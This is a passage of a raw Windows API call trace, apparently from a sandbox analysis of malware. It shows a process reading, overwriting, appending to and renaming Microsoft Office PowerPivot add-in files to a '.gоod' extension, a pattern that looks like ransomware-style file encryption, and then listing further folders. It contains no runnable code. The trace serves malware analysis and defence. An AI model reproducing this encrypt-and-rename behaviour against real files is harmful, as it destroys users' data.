nFileSizeLow=0xac0)) returned 1 [0230.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed350) returned 1 [0230.902] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\PowerPivotExcelClientAddIn.tlb" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\powerpivotexcelclientaddin.tlb"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\PowerPivotExcelClientAddIn.tlb.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\powerpivotexcelclientaddin.tlb.gоod")) returned 1 [0230.903] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tracedefinition110.xml", nBufferLength=0x105, lpBuffer=0x206ecf00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tracedefinition110.xml", lpFilePart=0x0) returned 0x65 [0230.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ed3d0) returned 1 [0230.903] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tracedefinition110.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\tracedefinition110.xml"), fInfoLevelId=0x0, lpFileInformation=0x37aa560 | out: lpFileInformation=0x37aa560*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16841bb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f913)) returned 1 [0230.904] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed390) returned 1 [0230.904] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tracedefinition110.xml", nBufferLength=0x105, lpBuffer=0x206ecdb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tracedefinition110.xml", lpFilePart=0x0) returned 0x65 [0230.904] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ed2d0) returned 1 [0230.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tracedefinition110.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\tracedefinition110.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0230.904] GetFileType (hFile=0x858) returned 0x1 [0230.904] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed240) returned 1 [0230.904] GetFileType (hFile=0x858) returned 0x1 [0230.904] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x206ed428*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x206ed428*=0) returned 0x1000 [0230.904] ReadFile (in: hFile=0x858, lpBuffer=0x37aaa18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ed3f8, lpOverlapped=0x0 | out: lpBuffer=0x37aaa18*, lpNumberOfBytesRead=0x206ed3f8*=0x1000, lpOverlapped=0x0) returned 1 [0230.906] CloseHandle (hObject=0x858) returned 1 [0230.906] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tracedefinition110.xml", nBufferLength=0x105, lpBuffer=0x206ecdb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tracedefinition110.xml", lpFilePart=0x0) returned 0x65 [0230.906] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ed2d0) returned 1 [0230.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tracedefinition110.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\tracedefinition110.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0230.906] GetFileType (hFile=0x858) returned 0x1 [0230.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed240) returned 1 [0230.906] GetFileType (hFile=0x858) returned 0x1 [0230.906] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x206ed428*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x206ed428*=0) returned 0x2f913 [0230.906] WriteFile (in: hFile=0x858, lpBuffer=0x37abd00*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x206ed318, lpOverlapped=0x0 | out: lpBuffer=0x37abd00*, lpNumberOfBytesWritten=0x206ed318*=0x10, lpOverlapped=0x0) returned 1 [0230.907] CloseHandle (hObject=0x858) returned 1 [0230.907] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tracedefinition110.xml", nBufferLength=0x105, lpBuffer=0x206ecdb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tracedefinition110.xml", lpFilePart=0x0) returned 0x65 [0230.907] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ed2d0) returned 1 [0230.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tracedefinition110.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\tracedefinition110.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0230.907] GetFileType (hFile=0x858) returned 0x1 [0230.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed240) returned 1 [0230.907] GetFileType (hFile=0x858) returned 0x1 [0230.907] ReadFile (in: hFile=0x858, lpBuffer=0x37ae010, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ed3a8, lpOverlapped=0x0 | out: lpBuffer=0x37ae010*, lpNumberOfBytesRead=0x206ed3a8*=0x1000, lpOverlapped=0x0) returned 1 [0234.476] CloseHandle (hObject=0x858) returned 1 [0234.476] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tracedefinition110.xml", nBufferLength=0x105, lpBuffer=0x206ecdb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tracedefinition110.xml", lpFilePart=0x0) returned 0x65 [0234.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ed2d0) returned 1 [0234.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tracedefinition110.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\tracedefinition110.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0234.476] GetFileType (hFile=0x858) returned 0x1 [0234.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed240) returned 1 [0234.476] GetFileType (hFile=0x858) returned 0x1 [0234.476] WriteFile (in: hFile=0x858, lpBuffer=0x3699c18*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x206ed458, lpOverlapped=0x0 | out: lpBuffer=0x3699c18*, lpNumberOfBytesWritten=0x206ed458*=0x1010, lpOverlapped=0x0) returned 1 [0234.477] CloseHandle (hObject=0x858) returned 1 [0234.477] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tracedefinition110.xml", nBufferLength=0x105, lpBuffer=0x206ecf00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tracedefinition110.xml", lpFilePart=0x0) returned 0x65 [0234.477] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tracedefinition110.xml.gоod", nBufferLength=0x105, lpBuffer=0x206ecf00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tracedefinition110.xml.gоod", lpFilePart=0x0) returned 0x6a [0234.477] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ed390) returned 1 [0234.477] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tracedefinition110.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\tracedefinition110.xml"), fInfoLevelId=0x0, lpFileInformation=0x206ed470 | out: lpFileInformation=0x206ed470*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16841bb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x87f86fff, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2f923)) returned 1 [0234.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed350) returned 1 [0234.477] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tracedefinition110.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\tracedefinition110.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tracedefinition110.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\tracedefinition110.xml.gоod")) returned 1 [0234.479] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0234.479] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar", lpFilePart=0x0) returned 0x51 [0234.479] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b160 [0234.480] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.480] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x163ef7bf, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0234.480] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x95505c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x95505c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a13a8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0234.480] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a0a7fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a0a7fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a30a43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x39aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0234.480] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9a77594, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9a77594, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9a77594, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0234.480] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x688d06d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x688d06d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x688d06d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20d030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0234.481] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x67ce4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67ce4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67ce4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0234.481] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1698075, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1698075, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1698075, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MI93CC~1.DLL")) returned 1 [0234.481] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0234.481] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5ad77c9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5ad77c9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5fc257f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0234.481] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6223b13, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6223b13, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x49aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0234.481] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd422, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xfbd422, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1698075, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0234.481] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56d17f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56d17f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56d17f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1 [0234.482] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x386b77a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x386b77a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x386b77a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0234.482] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc3e44f2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc3e44f2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc3e44f2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x73ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MI63FB~1.DLL")) returned 1 [0234.482] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf483611a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf483611a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4a25fae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0234.482] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf45f9db0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf45f9db0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0234.482] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x18d43c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18d43c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18d43c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0234.483] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x54ef2e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x54ef2e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x54ef2e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0234.483] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6d9e0b3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6d9e0b3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d9e0b3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0234.483] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0234.483] FindClose (in: hFindFile=0x134b160 | out: hFindFile=0x134b160) returned 1 [0234.484] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0234.484] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0234.484] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0234.484] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar", lpFilePart=0x0) returned 0x51 [0234.484] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a980 [0234.485] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.485] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x163ef7bf, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0234.485] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x95505c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x95505c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a13a8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd040, dwReserved0=0x0, dwReserved1=0x0, 